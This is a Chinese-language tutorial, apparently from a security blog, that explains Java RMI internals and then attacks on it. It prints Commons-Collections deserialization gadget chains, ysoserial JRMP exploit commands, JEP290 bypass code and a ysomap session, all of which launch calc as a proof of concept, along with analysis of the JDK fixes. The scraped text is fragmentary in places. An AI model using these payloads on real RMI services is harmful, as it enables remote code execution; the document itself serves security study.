RMI 介绍
java.rmi.Remote
接口的类)的方法。RMI 基础
//创建注册中心代码
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true);
package com.v1nt;
public interface HelloInterface extends java.rmi.Remote{
/* extends了Remote接口的类或者其他接口中的方法且声明抛出了RemoteException异常,
* 则表明该方法可被客户端远程访问调用。
*/
public String sayhello(String from) throws java.rmi.RemoteException;
}
public class helloImpl extends UnicastRemoteObject implements HelloInterface {
// 这个实现必须有一个显式的构造函数,并且要抛出一个RemoteException异常
protected helloImpl() throws RemoteException {
super();
}
@Override
public String sayhello(String from) throws RemoteException {
System.out.println("sayhello from "+from);
return "sayhello";
}
}
public class helloServer{
public static void main(String[] args) throws RemoteException, MalformedURLException {
helloImpl hello = new helloImpl();
try {
Naming.rebind("rmi://127.0.0.1:1099/hello", hello);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
Registry registry=LocateRegistry.getRegistry(hostName,port);
Hello hello=(Hello)registry.lookup("HelloServer");
package com.v1nt;
public interface HelloInterface extends java.rmi.Remote{
public String sayhello(String from) throws java.rmi.RemoteException;
}
public class helloServer{
public static void main(String[] args) throws RemoteException, MalformedURLException {
HelloInterface hello = (HelloInterface);
Naming.lookup("rmi://127.0.0.1:1099/hello");
/* 通过stub调用远程接口实现 */
String ret = hello.sayhello("Client");
System.out.println(ret);
}
}
RMI 原理
public interface Person {
public int getAge() throws Throwable;
public String getName() throws Throwable;
}
public class PersonClient {
public static void main(String [] args) {
try {
Person person = new Person_Stub();
int age = person.getAge();
String name = person.getName(); System.out.println(name + " is " + age + " years old");
} catch(Throwable t) {
t.printStackTrace();
}
}
}
public class Person_Stub implements Person {
private Socket socket;
public Person_Stub() throws Throwable {socket = new Socket("computer_name", 9000); }
public int getAge() throws Throwable {
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream()); outStream.writeObject("age");
outStream.flush();
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream()); return inStream.readInt();
}
public String getName() throws Throwable {
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream()); outStream.writeObject("name");
outStream.flush();
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream()); return (String)inStream.readObject();
}
}
public class Person_Skeleton extends Thread {
private PersonServer myServer;
public Person_Skeleton(PersonServer myServer) { this.myServer = myServer; }
@Override
public void run() {
try {
ServerSocket serverSocket = new ServerSocket(9000);
Socket socket = serverSocket.accept();
while (socket != null) {
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
if (method.equals("age")) {
int age = myServer.getAge();
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream());
outStream.writeInt(age);
outStream.flush();
} }
} catch(Throwable t) {
t.printStackTrace();
System.exit(0);
}
}
}
public class PersonServer implements Person {
private int age;
private String name;
public PersonServer(String name, int age) {
this.age = age;
this.name = name;
}
@Override
public int getAge() { return age; }
@Override
public String getName() { return name; }
public static void main(String[] args) {
PersonServer person = new PersonServer("tom", 18);
Person_Skeleton skel = new Person_Skeleton(person);
skel.start();
}
}
RMI 攻击面
客户端、服务端攻击RMI Registry注册中心
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, evalObject));
Naming.rebind("rmi://127.0.0.1:1099/hello", proxyEvalObject);
客户端攻击RMI Registry注册中心另一种方式
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections6 "calc.exe"
RMI Registry 注册中心攻击客户端和服务端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc"
-
list()
-
bind()
-
rebind()
-
unbind()
客户端攻击RMI服务端
public interface HelloInterface extends java.rmi.Remote{
public String test(Object obj)throws java.rmi.RemoteException;
}
public class helloImpl extends UnicastRemoteObject implements HelloInterface {
protected helloImpl() throws RemoteException {
super();
}
@Override
public String test(Object obj){
return obj.toString();
}
}
HelloInterface hello = (HelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
//CC1链序列化生成恶意对象
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[] {"Calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, outerMap);
//将恶意序列化对象作为参数传递调用
String str = hello.test(handler);
-
通过网络代理,在流量层修改数据
-
自定义 “java.rmi” 包的代码,自行实现
-
字节码修改
-
使用 debugger
java.rmi.server.RemoteObjectInvocationHandler
类的InvokeRemoteMethod
方法的第三个参数非Object的改为Object的gadgetRMI 服务端攻击客户端
什么是 JEP290 ?
-
提供一个限制反序列化类的机制,白名单或者黑名单。
-
限制反序列化的深度和复杂度。
-
为RMI远程调用对象提供了一个验证类的机制。
-
定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。
Bypass JEP290 (jdk8u231之前)
方式一 利用UnicastRef复现
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"
public class TestClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(TestClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
简单分析
UnicastServerRef
时第二个参数传入的是RegistryImpl::registryFilter
。传入之后的值赋值给了this.Filter
,跟进registryFilterREJECTED
,否则就会返回ALLOWED
。白名单如下:String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
this.skel.dispatch
绑定服务的Registry
在处理请求的过程中设置了一个过滤器来防范注册中心被反序列化漏洞攻击。stream.saveRef(ref)
中,而不是直接进入else语句中的 DGCClient.registerRefs(),跟入stream.saveRef(ref)
![由浅入深RMI安全]()
incomingRefTable
字段,再之后返回到RemoteCall#releaseInputStream 统一解析dirty
方法进行通信触发反序列化,跟入UnicastRef
用于跟注册中心通信,通过UnicastRef对象建立一个JRMP连接,并且这个payload里面的对象都是在白名单里的,所以不会被拦截,另外JRMPListener端将序列化传给注册中心反序列化的过程中没有setObjectInputFilter
,传给注册中心的恶意对象会被反序列化进而攻击成功。方式二 利用传递参数反序列化
-
通过网络代理,在流量层修改数据
-
自定义 “java.rmi” 包的代码,自行实现
-
字节码修改
-
使用 debugger
jdk8u231 修复分析
Bypass JEP290 (jdk8u231-jkd8u241)
@An Trinhs
发现了一个gadgets
利用链,能够直接反序列化UnicastRemoteObject
造成反序列化漏洞,可参考文章:https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/复现
ysomap > use exploit RMIRegistryExploit
[+] Create a new session.
[+] Created a new exploit(RMIRegistryExploit)
ysomap exploit(RMIRegistryExploit) > use payload RMIConnectWithUnicastRemoteObject
[+] Created a new payload(RMIConnectWithUnicastRemoteObject)
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) > use bullet RMIConnectBullet
[+] Created a new bullet(RMIConnectBullet)
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set target localhost:1099
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set rhost 127.0.0.1
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set rport 3333
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > run
简单分析
ssf
变量为我们可控的,它实际上是一个RMIServerSocketFactory接口,该接口有个createServerSocket方法,在后面的调用栈中调用了不同的exportObject方法后,会来到sun.rmi.transport.tcp.TCPEndpoint#newServerSocket,在这里调用了RMIServerSocketFactory#createServerSocket方法jkd8u241 修复
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}
Reference
点个在看你最好看
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论